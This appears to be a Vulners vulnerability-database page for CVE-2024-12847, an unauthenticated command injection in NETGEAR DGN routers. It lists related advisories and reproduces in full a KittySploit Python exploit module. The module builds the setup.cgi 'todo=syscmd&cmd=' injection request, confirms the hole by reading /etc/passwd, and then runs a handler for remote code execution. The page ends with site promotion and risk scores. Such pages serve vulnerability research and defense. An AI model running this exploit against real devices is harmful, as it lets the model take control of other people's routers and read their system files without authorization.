NETGEAR DGN syscmd RCE (CVE-2024-12847)
| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| The vulnerability of the embedded software of NETGEAR DGN1000 lies in the ability to bypass the authentication process by using an alternative path or channel, allowing a hacker to execute arbitrary code. | 13 Jan 202500:00 | – | bdu_fstec | |
| CVE-2024-12847 | 31 May 201311:34 | – | circl | |
| NETGEAR DGN1000 访问控制错误漏洞 | 10 Jan 202500:00 | – | cnnvd | |
| NETGEAR DGN1000 Command Injection Vulnerability (CNVD-2025-02105) | 21 Jan 202500:00 | – | cnvd | |
| CVE-2024-12847 | 10 Jan 202519:36 | – | cve | |
| CVE-2024-12847 NETGEAR DGN setup.cgi OS Command Injection | 10 Jan 202519:36 | – | cvelist | |
| EUVD-2024-51148 | 3 Oct 202520:07 | – | euvd | |
| NETGEAR DGN - setup.cgi syscmd RCE (CVE-2024-12847) | 10 Aug 202606:19 | – | kittysploit | |
| NETGEAR DGN - setup.cgi syscmd Detection (CVE-2024-12847) | 10 Aug 202606:19 | – | kittysploit | |
| Netgear DGN1000 Setup.cgi Unauthenticated RCE | 5 Jun 201300:00 | – | metasploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""NETGEAR DGN setup.cgi syscmd RCE (CVE-2024-12847)."""
import re
import urllib.parse
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'NETGEAR DGN syscmd RCE (CVE-2024-12847)',
'description': (
'Exploits CVE-2024-12847 in NETGEAR DGN routers: unauthenticated command '
'injection via setup.cgi todo=syscmd&cmd= parameter.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2024-12847'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2024-12847'],
'tags': ['netgear', 'router', 'cmdi', 'rce', 'kev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {'suggested_followups': ['scanner/http/cve_2024_12847_detect']},
},
}
def execute(self, cmd: str) -> str:
q = urllib.parse.quote(str(cmd).replace(' ', '+'), safe='+')
path = (
f'/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd={q}'
'&curpath=/¤tsetting.htm=1'
)
r = self.http_request(method='GET', path=path, allow_redirects=False)
return (r.text or '') if r else ''
def check(self):
body = self.execute('cat+/etc/passwd')
if re.search(r'root:.*:0:0:', body or ''):
return {'vulnerable': True, 'reason': 'CVE-2024-12847 confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'NETGEAR syscmd failed', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo+{token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
EPSS0.29939
SSVC